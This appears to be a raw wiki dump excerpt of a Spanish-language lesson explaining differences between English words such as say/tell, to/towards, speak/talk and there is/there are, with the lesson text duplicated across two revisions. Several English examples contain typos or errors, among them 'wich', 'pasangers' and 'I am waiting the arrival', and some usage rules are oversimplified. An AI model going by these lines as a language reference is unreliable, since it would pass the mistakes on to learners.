*Con '''a long way''' se sustituye en las frases afirmativas el adjetivo '''far'''. que se conserva para las frases interrogativas.
*'''Is this book far from that one?'''


*'''TO CARRY'''

*Hay que tener cuidado con este verbo ''To carry''.
*En español, y en lenguaje corriente, utilizamos el ''llevar'' incluso para expresar que ''llevamos puesto''.
*Correctamente deberíamos decir: ''Viste un traje gris'', ''Calza zapatos negros''. Sin embargo, decimos generalmente ''Lleva traje gris'', ''Lleva zapatos negros''.
*En inglés esto no puede ser. Se requieren dos verbos distintos para expresar la idea de ''llevar''. Si lo que se lleva, no se lleva '''puesto''', necesitamos el verbo ''To carry'', que nos indica el acto físico de transportar:
*'''Anna is carrying a chair along the corridor.'''
*Si se trata de ''llevar puesto'', el verbo a utilizar es '''To wear''' (usar, en español), verbo que, en este caso concreto, equivale a ''llevar puesto''.


*'''TO SAY-TO TELL...'''

*¿Por qué unas veces se emplea '''say''' y otras '''tell'''?: El verbo '''to say''' se usa para ''recitar'' o ''repetir'' algo que otra persona haya dicho.

*'''He says he will go''' (El dice que irá)

*Pero si a la forma verbal '''say''' le sigue un nombre o un pronombre, hemos de añadirle necesariamente la preposición '''to''', con lo cual ''dirigimos'' el sentido del verbo.

*'''I say good-bye TO you''' (Yo digo adiós '''a''' usted; yo le digo adiós)

*'''To tell''' se usa en el sentido de ''contar'', ''relatar'', ''mandar'', siempre que no haya palabras textuales. Cuando a la forma verbal le sigue un nombre o un pronombre inmediatamente, no es necesario la preposición '''to'''

*'''He tells the same to him''' (El cuenta lo mismo a él, El le cuenta lo mismo)

*'''There is a very nice young lady there who will tell us...''' (Hay allí una señorita muy simpatica que nos dirá (informará)...)


*'''FAST-QUICK'''

*Estos dos adjetivos tienen un sentido diferente, a pesar de que puedan traducirse igual en español. '''Fast''' equivale a rápido, veloz. '''A plane is fast''', decimos, o sea, un avión es rápido. Y lo decimos porque su velocidad es firme, mantenida, segura. Sin embargo, '''quick''' no presupone esta seguridad. '''Quick, please''' es '''Deprisa, por favor'''; equivale a rapidez en un sentido más condicionado.


*'''SEE-LOOK-WATCH'''

*Tres matices de un mismo acto. Nuestros ojos pueden '''ver''', '''mirar''', '''observar''', o sea, '''mirar con atención'''.

*'''I see''' (veo)
*'''Look!''' (¡mire!)
*'''We are watching the film''' (Estamos viendo -mirando con atención- la película).

*No le sorprenda que '''watch''' nos sirva para decir ''reloj'' a la vez que significa vigilar, velar, hacer guardia y muchas más cosas... Eso tiene el idioma inglés. De todas formas, ¿qué es un reloj, sino un aparato que ''vigila'', que ''observa'' el tiempo?


*'''TAKE A...'''

*Muchas ideas a las que nosotros aplicamos el verbo ''dar'', son pensadas en inglés con el verbo ''tomar''.

*Así, por ejemplo:

*'''Take a walk''', ''dar un paseo'' (Un inglés piensa: ¿Doy un paseo? No; como ''me lo doy'' yo '''a mí''', es evidente que yo lo ''tomo'').

*El verbo ''tomar'' se utiliza en inglés relacionado con la idea de tiempo. 

*'''It takes nine hours...''' ''tarda nueve horas'' (o sea necesita, precisa, requiere nueve horas. Y puesto que las precisa, las ''toma'').

*También '''take''' puede expresar la idea de ''tomar consigo'', de ''llevar'' como en:

*'''...wich will take them to the Airport''' ''que les llevara (a ellos) al Aeropuerto''. (Aquí la ''idea'' inglésa expresa ''recoger'' a los pasajeros para llevarlos.)


*'''TO-TOWARDS'''

*Del mismo modo que nosotros tenemos ''a'' y ''hacia'' para indicar '''dirección''' de la marcha (''yo voy '''a''' la escuela, ''yo voy '''hacia''' Valencia''), los ingleses tienen '''to''' y '''towards''', con similar significado.

*'''To''' es una preposición que ''señala'', que ''dirige''; una preposición para indicar '''dirección''' o '''destino'''.

*'''All pasangers... must go to the Customs House...''' (Todos los pasajeros deben ir a la Aduana...).

*'''Towards''' no es tan concreto como '''to'''. Podríamos traducirlo, ''cazando la idea'', por ''en dirección a''. Es decir, uno puede ir al café al acabar de comer, pero, en ocasiones, uno va ''hacia el café''..., lo cual permite a uno aprovechar el tiempo para ocuparse ''por el camino'' de cualquier otra cosa. La idea de ''dirección'' o ''destino'' está en '''towards''' más diluída, resulta más vaga, como supeditada a los impulsos del momento.

*Cuando ni '''to''' ni '''towards''' han de referirse al sentido de la marcha, conviene diferenciar los matices.

*Por ejemplo, la preposición '''to''' nos sirve para enlazar el sentido de una frase: '''Go to the door''' (Vaya a la puerta).

*'''Towards''' varía algo el sentido. Además de indicar dirección, como queda dicho, precisa proximidad, sentido inmediato. Así, podemos decir:

*'''As we arrived towards London''' - Cuando llegamos cerca (a los alrededores) de Londres...

*O bien: Cuando nos acercamos a Londres...

*'''Towards the end of May''' - Hacia finales de mayo...

*('''Towards''', tiene las variaciones '''forward''' -hacia adelante- y '''backward''' -hacia atrás-. Así, por ejemplo, nuestro ''ir y venir'' se traduce en inglés por '''To go backward and forward...'''


*'''LIKE'''

*'''We are already flying, like birds...'''

*''¿No habíamos quedado en que '''como''' se traducía por '''as''' ...?''

*'''As''' es una simple conjunción, como en:

*'''This pen is as pretty as mine''' - Esta pluma es tan bonita '''como''' la mía.

*Por el contrario, '''like''', aparte su significado como verbo (gustar, agradar), tiene significado propio como adjetivo, sustantivo y adverbio.

*'''...like birds...'''

*expresa una cualidad (la semejanza) del vuelo.

*Como si dijéramos:

*...al igual que pájaros...
*...parecidos a pájaros...
*...semejantes a pájaros...

*En el ejemplo '''This pen is a pretty as mine''' establecemos una '''comparación'''. Para establecer una semejanza diremos:

*'''This pen is like mine'''. (Esta pluma es '''como''' la mía).
*En este caso, '''como''' indica igualdad, semejanza.


*'''KEEP WATCHING'''

*El verbo '''to keep''' tiene muchos sentidos, pero todos ellos guardan relación con la idea de ''guardar'', ''mantener''.

*'''Keep watching''', o sea, ''Mantenga la atención'', ''Siga mirando'', ''Preste atención''.


*'''UN'''

*Del mismo modo que en castellano utilizamos los prefijos a-, des-, in- para dar sentido negativo a los adjetivos o adverbios (a-fónico, '''sin''' voz; des-cubierto, '''sin''' cubierta, intranquilo, '''sin''' tranquilidad), los ingleses tienen, como es natural, los suyos, todos de procedencia latina y por tanto iguales a los nuestros.

*Pero '''in-''', en ocasiones, y generalmente cuando la palabra no es de origen latino, sino sajón, se convierte en '''un-''', con igual significado.

*Por eso en inglés decimos '''unclouded''' ('''sin''' nubes). Pero en castellano no existe un adjetivo similar (¿innublado?), salvo que recurramos a ''despejado''.


*'''TO SPEAK-TO TALK'''

*Usted debe considerar el verbo '''to speak''' como el verbo padre de todos los demás relacionados con el hablar. Es decir, su significado es el genérico: hablar, simplemente. Un locutor de radio habla: es un '''speaker'''. Usted pregunta: '''Do you speak English?'''

*Pero dejemos de considerar las cosas en general y reduzcamos el campo de acción. Estamos '''entre personas''', formando un grupo, una asociación, un conjunto... Tenemos quien nos '''escucha'''. Cuando hablamos, tenemos un oyente. Ya no hablamos en general. ''Charlamos'' con nuestros familiares, con los amigos...

*Interviene el verbo '''to talk'''.

*'''The child cannot talk yet.''' (''El niño no puede hablar todavía''). Pero en el sentido familiar, es decir, como diciendo ''no se expresa bien'', ''no le salen las palabras'', ''es torpe hablando''.

*Incluso, a pesar de que decimos '''He speaks English very well''', expresando una idea en sentido general, sin dirigirla a nadie en particular, familiarizamos la cosa diciendo: '''He talks very well'''.

*Concretando: '''Speak''' es expresión genérica. '''Talk''' reduce el campo a lo que nos rodea...

*'''Do not talk nonsense,''' ''No diga tonterías''.

*'''A talk.''' Convertimos el verbo en sustantivo. '''A talk''', una conversación.

*'''Let us have a talk about the theatre''', o sea, (''Hablemos sobre el teatro'').

*Si queremos reducir el campo de nuestra charla, vulgarizarla, minimizarla, el verbo '''to chat''' nos ayudará. Significa charlar superficialmente, de prisa y mucho. Este verbo se usa en general para describir conversaciones triviales...

*'''Come and have a chat with us this evening.''' (''Ven a charlar con nosotros esta noche'')

*Y, para terminar, un derivado de '''chat''', '''chatter''' que ya es el colmo. Con decir que traduce (''cotorrear'') ya basta ¿no?

*Sirve, también, para describir el gorjeo de los pájaros, sobre todo cuando hay muchos alrededor, revoloteando de árbol en árbol.

*Y puesto que tanto hemos hablado de ''hablar'', bueno será que nos consideremos un poco charlatanes. En inglés, '''chatterbox''', charlatán.


*'''TO WAIT'''

*(esperar, o sea, ''hacer'' tiempo).

*'''To wait''' equivale a un ''esperar'' material:

*'''I am waiting the arrival of the train''' (Espero la llegada del tren).

*Pero, en inglés, el '''esperar''' de esperanza, de deseo, requiere otro verbo:


*'''TO HOPE...'''

*'''I hope it will come''' (Espero -confío- que llegará).

*'''I hope tomorrow we will have better weather than today'''


*'''Y refiriéndonos ahora al tiempo...'''

*La idea de ''tiempo'' abarca muchos aspectos. En el fondo, indica una división convencional en la duración de todas las cosas. Medimos el transcurrir del tiempo; el ritmo de las cosas; dividimos los verbos en tres tiempos principales; consideramos el tiempo atmosférico...

*Así, para indicar tiempo-duración, utilizaremos '''time''', que también nos sirve para la '''hora''' (tiempo medido en cuanto a duración), y para indicar el ritmo, el compás.

*Ejemplos:

*'''What time is it? (¿qué hora es?).

*El ''tiempo'' referido a las conjugaciones verbales, se traduce por '''tense''':

*'''The past tense''' (pretérito, tiempo pasado).

*El tiempo atmosférico es '''the weather.'''

*Finalmente, si queremos dar idea de mucho tiempo, hemos de recurrir al adjetivo '''long''', con el que '''materializamos''' la idea del tiempo, concretamente, de su mucha duración. Así,

*'''How long...?'''

*'''How long will you be in this country?''' (¿Cuanto tiempo estará usted en este país?).

*Y ahora dediquémonos al tiempo atmosférico.

*En primer lugar: Nosotros utilizamos la forma impersonal del verbo ''hacer'' al referirnos al tiempo: Hace buen tiempo; hace frío; hace calor...

*Los ingleses no proceden así. Ellos utilizan el verbo ''ser''. Usted recocordará que usan muy frecuentemente el pronombre neutro '''it'''. Bien; para ellos el tiempo ('''the weather''') es '''it''', quiere decirse, la tercera persona en neutro. Y puesto que decimos ''Yo soy bueno'', ''Tú eres bueno'', ''El es bueno''... dicen también ''Ello es bueno''

*'''It is fine''' - ''Es fino-agradable'', ('''Hace''' buen tiempo).

*Es decir, ''personalizan'' el tiempo... 

*'''It is snowing''' (Está nevando).
*'''It is freezing today''' (Hoy está helando)
*'''The day has been dreadful, now, it is clearing''' (El día ha sido horrible, ahora está aclarando).


*'''¿Ropas pesadas?'''

*'''People, wear heavy coast...'''

*Bueno, el adjetivo '''heavy''' no debemos encasillarlo. A la vez que ''pesado'' quiere decir ''grueso''. Ambas cosas guardan cierta similitud..., como en el caso de la artillería '''pesada''' o de '''grueso''' calibre, que es llamada en inglés '''heavy artillery'''.

*En contraposición a esto tenemos que, en verano, la ropa ligera es llamada '''light clothes''', por aquello que la primera idea que se viene a las mientes es la de colores claros, luminosos...


*'''TO KNOWN-CAN'''

*Cuando ''el saber'' se refiera al entendimiento, a la inteligencia, al conocimiento intelectual, use '''to know'''. Pero si el ''saber'' se refiere a '''cosa material''', a '''capacidad física para hacer''', entonces no hay duda, debe usar '''CAN'''.


*'''THERE TO BE'''

*Se conjuga en todos los tiempos, pero exclusivamente con la tercera persona para hacerlo totalmente impersonal.


*'''PRESENTE'''

*Afirmando

*Singular: '''there is''' (hay)
*Plural: '''there are''' (hay)


*Negando

*'''there is not''' (no hay)
*'''there are not''' (no hay)


*Interrogando

*'''is there?''' (¿hay?)
*'''are there?''' (¿hay?)


*Interrogando-negando


*'''Is there not?''' (¿no hay?)
*'''are there not''' (¿no hay?)


*'''PASADO'''


*Afirmando

*Singular:
 

*'''there was''' (hubo, había)


*Plural:


*'''there were''' (hubo, había)


*Negando


*'''there was not?''' (no hubo, había) 
*'''there were not''' (no hubo, había)


*Interrogando


*'''was there?''' (¿hubo,había?)
*'''were there?''' (¿hubo, había?)


*Interrogando-negando


*'''was there not?''' (¿no hubo, había?)
*'''were there not?''' (¿no hubo, había?)


*'''FUTURO'''


*Afirmando


*Singular y plural


*'''there will be'''  (habrá)


*Negando


*'''there will not be''' (no habrá)


*Interrogando


*'''will there be?''' (¿habrá?)


*Interrogando-negando


*'''will there not be?''' (¿no habrá?)


*'''NOT YET'''

*Usted conoce ya el adverbio '''still''', que en castellano traducimos por ''todavía'', un ''todavía'' afirmativo '''de permanencia'''.

*'''He is still here''' (Todavía (él) está aquí).

*Naturalmente, si substituimos ''todavía'' por ''aún'', las cosas siguen igual. Pero veamos ahora cómo hemos de expresar en inglés nuestro ''todavía'' o nuestro ''aún'', cuando éstos tienen sentido negativo...

*'''He has not yet arrived''' (No ha llegado todavía (aún)).

*En castellano, el mismo adbervio (sea ''todavía'', o sea ''aún'') nos sirve en ambos casos. En inglés, sin embargo, debe tener presente que no es así y que:

*a) Si la frase afirma, usará '''still'''.
*b) Si la frase niega, usará '''not yet'''.


*'''TALL-SHORT'''

*Cuando se trata de la estatura, de la '''talla''' de uno, no han de usarse adjetivos como '''high''' (alto) y '''low''' (bajo)... estos se refieren a objetos, a cosas en sentido general...

*Para las personas, recuerde:

*'''A tall man''' (Un hombre alto)
*'''A short man''' (Un hombre bajo - corto de estatura)


*'''TO ALLOW-TO LET'''

*En tanto, que la aplicación de '''let''' implica un ''dejar hacer'' '''ordenado''' a otra persona en relación a nosotros o a un tercero, '''allow''' carece de ese sentido imperativo, de '''orden'''.

*'''To allow''' expresa un ''permitir'' sin tanta vuelta de hoja. Es un ''pedido'' amable que se hace...

*'''Allow me to speak the white chief General Carleton...''' (Permíteme hablar con el jefe blanco General Carleton...)

*Cuando usamos '''to allow''' no hacemos más que ser corteses. Si usamos '''to let''', esa ''cortesía'' está cargada de reservas, puesto que, en el fondo, '''ordenamos''' al otro '''que nos permita'''.


*'''FUL'''

*¿Es usted aficionado a jugar al poker? Entonces sabrá que uno de los juegos es llamado '''full''' hand o mano '''llena'''. Bien... Ahora estamos en ello.

*El sufijo '''ful''' procede de ese '''full''' (lleno) y nos sirve para indicar que el sustantivo del que toma parte se transforma en un adjetivo.

*En otras palabras: Con '''ful''', el sustantivo se transforma en un adjetivo.

*Sucede lo que con '''less''': Si algo escasea, añadale '''less''' (falta de); con '''ful''', (abundancia de).

*Ejemplos:

*'''These people are peaceful''' (Esta gente es pacífica)
*'''My friend is very careful''' (Mi amigo es muy cuidadoso)
*'''A successful show''' (Un espectáculo lleno de éxito. ''Exitoso'')
*'''A doubtful question''' (Un asunto dudoso)
*'''That is a wonderful love story''' (Esa es una maravillosa historia de amor)


*'''RIGHT-WRONG'''

*Recordará usted lo que se dijo con anterioridad respecto a la expresión '''all right''' (muy bien). Sabe que en el orden de ideas, lo que ''está todo derecho'' indudablemente ''está bien''.

*Ahora tenemos el caso contrario: '''Wrong''', entre muchas cosas de sentido parecido, significa ''error''. Es una idea ''condensada'' equivalente a expresar lo contrario de '''right'''.

*Cuando a una de estas dos voces le anteponemos el verbo '''to be''' en cualquiera de sus formas, tenemos un nuevo verbo, cuyo significado puede ser:

*'''To be right''' (Estar en lo cierto - Tener razón.)
*'''To be wrong''' (Estar equivocado, No tener razón.)

*'''You are wrong''' (Está equivocado, no tiene razón)


*'''BORN'''

*He aquí un verbo que no existe en inglés: ''nacer''. Para expresar esa idea, un inglés debe recurrir a un auxiliar, ''to be'' y a un adjetivo, '''born''', (nacido). Entonces dispone de su verbo, '''to be born''' (ser nacido).
*'''Born''', por tanto, es un adjetivo.
*'''Birth''' es, el sustantivo inglés equivalente a ''nacimiento''.

*Ejemplo: '''When is your birthday?''' (¿Cuándo es tu cumpleaños?)


*'''Diferencias entre los verbos TO JOIN y TO MEET'''


*Muchos verbos ingleses son reflexivos - es decir, expresan una acción que recae sobre el sujeto que la ejecuta- sin necesidad de que el pronombre lo exprese.

*Los ingleses sólo usan sus pronombres reflexivos '''-myself, yourself, himself, etc.-''' cuando el verbo indica que la persona se hace algo a sí misma. si no es así, en inglés el verbo reflexivo no se distingue del que no lo es.

*Aplicación particular de los verbos '''to join''' y '''to meet'''

*Como verbo ''transitivo'', '''to join''' se traduce por ''juntar''; empero, si le sigue un complemento de persona, el verbo se entiende como ''intransitivo'' y su significado es de ''reunirse''.

*Por lo que se refiere a '''to meet''' en otro orden de ideas, tiene también dos significados: ''encontrar'' y ''conocer''.
*Usara '''to meet''' en el sentido de ''encontrar'' cuando ese encuentro se refiera a una persona ya conocida de usted.
*Por el contrario, será más correcto usar '''to meet''' en el sentido de ''conocer'' -en modo alguno '''to know'''- cuando ese sea el primer ''encuentro'', es decir, cuando conozca por vez primera a una persona.


*'''TO GO DOWNSTAIRS - TO GO UPSTAIRS'''

*Nos encontramos ante la característica forma inglesa de ''materializar'' ideas y convertirlas en sustantivos, en verbos...

*He aquí el caso: Tenemos, en primer lugar, '''down''' y '''up''' (''abajo'' y ''arriba'', respectivamente, en términos generales) y '''stairs''' (''escaleras''). Uniendo '''down''' con '''stairs''', o '''up''' con '''stairs''', tenemos dos nuevas palabras, eminentemente ''caseras''.

*Sí, porque tanto una como otra forman parte del ambiente característico inglés..., muy partícularmente en esos hogares típicos de más de una planta (bajos y un piso). Así, por ejemplo, '''he is upstairs''' equivale a decir en español ''él está arriba'' (en el piso de arriba). Y estando arriba, diremos de uno que está en los bajos que '''he is downstairs''' (''está abajo'').

*Todo porque el sentido común le dice al inglés que entre ''arriba'' y ''abajo'', en una casa, '''media la escalera'''.

*'''To go upstairs''' expresa, pues, la idea de ''subir'' a los pisos superiores, cuando sabemos que para ir arriba disponemos de la escalera de la casa.

*'''To go downstairs''' indicará lo contrario, o sea ''bajar'' al piso inferior.


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>dvb8r3tfomlzm8usfbfan2w0eqozy5j</sha1>
    </revision>
    <revision>
      <id>429904</id>
      <parentid>429852</parentid>
      <timestamp>2026-08-01T22:09:12Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429904</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="21368" sha1="q2kv2q45x5nyvbfe0fvc2gnramlx7cy" xml:space="preserve">===Miscelánea===
Muchas cosas en comun
*'''SIDE-INSIDE-OUTSIDE'''

*Las tres palabras giran alrededor de una misma idea: '''Side''' equivale a ''lado''. '''Inside''' será, pues, ''lado de dentro''; '''outside''', ''lado de fuera''.
*Correctamente, '''inside''' es ''dentro'' y '''outside''' ''fuera'' o ''afuera''. Por extensión, indicaran también ''el interior'' y ''el exterior'', respectivamente.


*'''ABOVE''' y '''ON TOP'''

*'''Above''' equivale a ''por encima de...''
*'''On top''' es una expresión más enfática, tajante. ''En el tope'', en la cima, en la cumbre.


*'''AGAINST''', '''BESIDE''' y '''TOGETHER'''

*'''Against''' es una preposición ''activa''. Indica ''contra'', bien en un sentido material, bien espiritualmente.
*'''He is against Communism'''
*'''The book-case is against the wall'''
*No es el mismo caso en cuanto a '''beside''', perteneciente a la serie '''side, inside, outside...'''
*'''Beside''' expresa la idea de proximidad material, en su sentido ''de lado'' o sea:
*'''Please, take a seat beside me.'''
*'''Together''' indica proximidad, pero en el sentido concreto de reunión. Equivale a ''juntos''.
*'''In the classroom, the pupils are together'''

*'''Against:''' Da idea de agresividad... Tenga presente que algo está o va '''contra''' algo.
*'''Beside:''' Algo está ''próximo'' a algo... pero concretamente '''al lado.'''
*'''Togheter:''' Ahora la ''proximidad'' es plural. Varias personas o cosas están '''juntos.'''


*'''A LONG WAY'''

*Se usa cuando la frase es '''afirmativa''', queremos indicar lo que en español sería ''lejos'' o ''alejado''.
*'''This one (book) is a long way from this one.'''
*Con '''a long way''' se sustituye en las frases afirmativas el adjetivo '''far'''. que se conserva para las frases interrogativas.
*'''Is this book far from that one?'''


*'''TO CARRY'''

*Hay que tener cuidado con este verbo ''To carry''.
*En español, y en lenguaje corriente, utilizamos el ''llevar'' incluso para expresar que ''llevamos puesto''.
*Correctamente deberíamos decir: ''Viste un traje gris'', ''Calza zapatos negros''. Sin embargo, decimos generalmente ''Lleva traje gris'', ''Lleva zapatos negros''.
*En inglés esto no puede ser. Se requieren dos verbos distintos para expresar la idea de ''llevar''. Si lo que se lleva, no se lleva '''puesto''', necesitamos el verbo ''To carry'', que nos indica el acto físico de transportar:
*'''Anna is carrying a chair along the corridor.'''
*Si se trata de ''llevar puesto'', el verbo a utilizar es '''To wear''' (usar, en español), verbo que, en este caso concreto, equivale a ''llevar puesto''.


*'''TO SAY-TO TELL...'''

*¿Por qué unas veces se emplea '''say''' y otras '''tell'''?: El verbo '''to say''' se usa para ''recitar'' o ''repetir'' algo que otra persona haya dicho.

*'''He says he will go''' (El dice que irá)

*Pero si a la forma verbal '''say''' le sigue un nombre o un pronombre, hemos de añadirle necesariamente la preposición '''to''', con lo cual ''dirigimos'' el sentido del verbo.

*'''I say good-bye TO you''' (Yo digo adiós '''a''' usted; yo le digo adiós)

*'''To tell''' se usa en el sentido de ''contar'', ''relatar'', ''mandar'', siempre que no haya palabras textuales. Cuando a la forma verbal le sigue un nombre o un pronombre inmediatamente, no es necesario la preposición '''to'''

*'''He tells the same to him''' (El cuenta lo mismo a él, El le cuenta lo mismo)

*'''There is a very nice young lady there who will tell us...''' (Hay allí una señorita muy simpatica que nos dirá (informará)...)


*'''FAST-QUICK'''

*Estos dos adjetivos tienen un sentido diferente, a pesar de que puedan traducirse igual en español. '''Fast''' equivale a rápido, veloz. '''A plane is fast''', decimos, o sea, un avión es rápido. Y lo decimos porque su velocidad es firme, mantenida, segura. Sin embargo, '''quick''' no presupone esta seguridad. '''Quick, please''' es '''Deprisa, por favor'''; equivale a rapidez en un sentido más condicionado.


*'''SEE-LOOK-WATCH'''

*Tres matices de un mismo acto. Nuestros ojos pueden '''ver''', '''mirar''', '''observar''', o sea, '''mirar con atención'''.

*'''I see''' (veo)
*'''Look!''' (¡mire!)
*'''We are watching the film''' (Estamos viendo -mirando con atención- la película).

*No le sorprenda que '''watch''' nos sirva para decir ''reloj'' a la vez que significa vigilar, velar, hacer guardia y muchas más cosas... Eso tiene el idioma inglés. De todas formas, ¿qué es un reloj, sino un aparato que ''vigila'', que ''observa'' el tiempo?


*'''TAKE A...'''

*Muchas ideas a las que nosotros aplicamos el verbo ''dar'', son pensadas en inglés con el verbo ''tomar''.

*Así, por ejemplo:

*'''Take a walk''', ''dar un paseo'' (Un inglés piensa: ¿Doy un paseo? No; como ''me lo doy'' yo '''a mí''', es evidente que yo lo ''tomo'').

*El verbo ''tomar'' se utiliza en inglés relacionado con la idea de tiempo. 

*'''It takes nine hours...''' ''tarda nueve horas'' (o sea necesita, precisa, requiere nueve horas. Y puesto que las precisa, las ''toma'').

*También '''take''' puede expresar la idea de ''tomar consigo'', de ''llevar'' como en:

*'''...wich will take them to the Airport''' ''que les llevara (a ellos) al Aeropuerto''. (Aquí la ''idea'' inglésa expresa ''recoger'' a los pasajeros para llevarlos.)


*'''TO-TOWARDS'''

*Del mismo modo que nosotros tenemos ''a'' y ''hacia'' para indicar '''dirección''' de la marcha (''yo voy '''a''' la escuela, ''yo voy '''hacia''' Valencia''), los ingleses tienen '''to''' y '''towards''', con similar significado.

*'''To''' es una preposición que ''señala'', que ''dirige''; una preposición para indicar '''dirección''' o '''destino'''.

*'''All pasangers... must go to the Customs House...''' (Todos los pasajeros deben ir a la Aduana...).

*'''Towards''' no es tan concreto como '''to'''. Podríamos traducirlo, ''cazando la idea'', por ''en dirección a''. Es decir, uno puede ir al café al acabar de comer, pero, en ocasiones, uno va ''hacia el café''..., lo cual permite a uno aprovechar el tiempo para ocuparse ''por el camino'' de cualquier otra cosa. La idea de ''dirección'' o ''destino'' está en '''towards''' más diluída, resulta más vaga, como supeditada a los impulsos del momento.

*Cuando ni '''to''' ni '''towards''' han de referirse al sentido de la marcha, conviene diferenciar los matices.

*Por ejemplo, la preposición '''to''' nos sirve para enlazar el sentido de una frase: '''Go to the door''' (Vaya a la puerta).

*'''Towards''' varía algo el sentido. Además de indicar dirección, como queda dicho, precisa proximidad, sentido inmediato. Así, podemos decir:

*'''As we arrived towards London''' - Cuando llegamos cerca (a los alrededores) de Londres...

*O bien: Cuando nos acercamos a Londres...

*'''Towards the end of May''' - Hacia finales de mayo...

*('''Towards''', tiene las variaciones '''forward''' -hacia adelante- y '''backward''' -hacia atrás-. Así, por ejemplo, nuestro ''ir y venir'' se traduce en inglés por '''To go backward and forward...'''


*'''LIKE'''

*'''We are already flying, like birds...'''

*''¿No habíamos quedado en que '''como''' se traducía por '''as''' ...?''

*'''As''' es una simple conjunción, como en:

*'''This pen is as pretty as mine''' - Esta pluma es tan bonita '''como''' la mía.

*Por el contrario, '''like''', aparte su significado como verbo (gustar, agradar), tiene significado propio como adjetivo, sustantivo y adverbio.

*'''...like birds...'''

*expresa una cualidad (la semejanza) del vuelo.

*Como si dijéramos:

*...al igual que pájaros...
*...parecidos a pájaros...
*...semejantes a pájaros...

*En el ejemplo '''This pen is a pretty as mine''' establecemos una '''comparación'''. Para establecer una semejanza diremos:

*'''This pen is like mine'''. (Esta pluma es '''como''' la mía).
*En este caso, '''como''' indica igualdad, semejanza.


*'''KEEP WATCHING'''

*El verbo '''to keep''' tiene muchos sentidos, pero todos ellos guardan relación con la idea de ''guardar'', ''mantener''.

*'''Keep watching''', o sea, ''Mantenga la atención'', ''Siga mirando'', ''Preste atención''.


*'''UN'''

*Del mismo modo que en castellano utilizamos los prefijos a-, des-, in- para dar sentido negativo a los adjetivos o adverbios (a-fónico, '''sin''' voz; des-cubierto, '''sin''' cubierta, intranquilo, '''sin''' tranquilidad), los ingleses tienen, como es natural, los suyos, todos de procedencia latina y por tanto iguales a los nuestros.

*Pero '''in-''', en ocasiones, y generalmente cuando la palabra no es de origen latino, sino sajón, se convierte en '''un-''', con igual significado.

*Por eso en inglés decimos '''unclouded''' ('''sin''' nubes). Pero en castellano no existe un adjetivo similar (¿innublado?), salvo que recurramos a ''despejado''.


*'''TO SPEAK-TO TALK'''

*Usted debe considerar el verbo '''to speak''' como el verbo padre de todos los demás relacionados con el hablar. Es decir, su significado es el genérico: hablar, simplemente. Un locutor de radio habla: es un '''speaker'''. Usted pregunta: '''Do you speak English?'''

*Pero dejemos de considerar las cosas en general y reduzcamos el campo de acción. Estamos '''entre personas''', formando un grupo, una asociación, un conjunto... Tenemos quien nos '''escucha'''. Cuando hablamos, tenemos un oyente. Ya no hablamos en general. ''Charlamos'' con nuestros familiares, con los amigos...

*Interviene el verbo '''to talk'''.

*'''The child cannot talk yet.''' (''El niño no puede hablar todavía''). Pero en el sentido familiar, es decir, como diciendo ''no se expresa bien'', ''no le salen las palabras'', ''es torpe hablando''.

*Incluso, a pesar de que decimos '''He speaks English very well''', expresando una idea en sentido general, sin dirigirla a nadie en particular, familiarizamos la cosa diciendo: '''He talks very well'''.

*Concretando: '''Speak''' es expresión genérica. '''Talk''' reduce el campo a lo que nos rodea...

*'''Do not talk nonsense,''' ''No diga tonterías''.

*'''A talk.''' Convertimos el verbo en sustantivo. '''A talk''', una conversación.

*'''Let us have a talk about the theatre''', o sea, (''Hablemos sobre el teatro'').

*Si queremos reducir el campo de nuestra charla, vulgarizarla, minimizarla, el verbo '''to chat''' nos ayudará. Significa charlar superficialmente, de prisa y mucho. Este verbo se usa en general para describir conversaciones triviales...

*'''Come and have a chat with us this evening.''' (''Ven a charlar con nosotros esta noche'')

*Y, para terminar, un derivado de '''chat''', '''chatter''' que ya es el colmo. Con decir que traduce (''cotorrear'') ya basta ¿no?

*Sirve, también, para describir el gorjeo de los pájaros, sobre todo cuando hay muchos alrededor, revoloteando de árbol en árbol.

*Y puesto que tanto hemos hablado de ''hablar'', bueno será que nos consideremos un poco charlatanes. En inglés, '''chatterbox''', charlatán.


*'''TO WAIT'''

*(esperar, o sea, ''hacer'' tiempo).

*'''To wait''' equivale a un ''esperar'' material:

*'''I am waiting the arrival of the train''' (Espero la llegada del tren).

*Pero, en inglés, el '''esperar''' de esperanza, de deseo, requiere otro verbo:


*'''TO HOPE...'''

*'''I hope it will come''' (Espero -confío- que llegará).

*'''I hope tomorrow we will have better weather than today'''


*'''Y refiriéndonos ahora al tiempo...'''

*La idea de ''tiempo'' abarca muchos aspectos. En el fondo, indica una división convencional en la duración de todas las cosas. Medimos el transcurrir del tiempo; el ritmo de las cosas; dividimos los verbos en tres tiempos principales; consideramos el tiempo atmosférico...

*Así, para indicar tiempo-duración, utilizaremos '''time''', que también nos sirve para la '''hora''' (tiempo medido en cuanto a duración), y para indicar el ritmo, el compás.

*Ejemplos:

*'''What time is it? (¿qué hora es?).

*El ''tiempo'' referido a las conjugaciones verbales, se traduce por '''tense''':

*'''The past tense''' (pretérito, tiempo pasado).

*El tiempo atmosférico es '''the weather.'''

*Finalmente, si queremos dar idea de mucho tiempo, hemos de recurrir al adjetivo '''long''', con el que '''materializamos''' la idea del tiempo, concretamente, de su mucha duración. Así,

*'''How long...?'''

*'''How long will you be in this country?''' (¿Cuanto tiempo estará usted en este país?).

*Y ahora dediquémonos al tiempo atmosférico.

*En primer lugar: Nosotros utilizamos la forma impersonal del verbo ''hacer'' al referirnos al tiempo: Hace buen tiempo; hace frío; hace calor...

*Los ingleses no proceden así. Ellos utilizan el verbo ''ser''. Usted recocordará que usan muy frecuentemente el pronombre neutro '''it'''. Bien; para ellos el tiempo ('''the weather''') es '''it''', quiere decirse, la tercera persona en neutro. Y puesto que decimos ''Yo soy bueno'', ''Tú eres bueno'', ''El es bueno''... dicen también ''Ello es bueno''

*'''It is fine''' - ''Es fino-agradable'', ('''Hace''' buen tiempo).

*Es decir, ''personalizan'' el tiempo... 

*'''It is snowing''' (Está nevando).
*'''It is freezing today''' (Hoy está helando)
*'''The day has been dreadful, now, it is clearing''' (El día ha sido horrible, ahora está aclarando).


*'''¿Ropas pesadas?'''

*'''People, wear heavy coast...'''

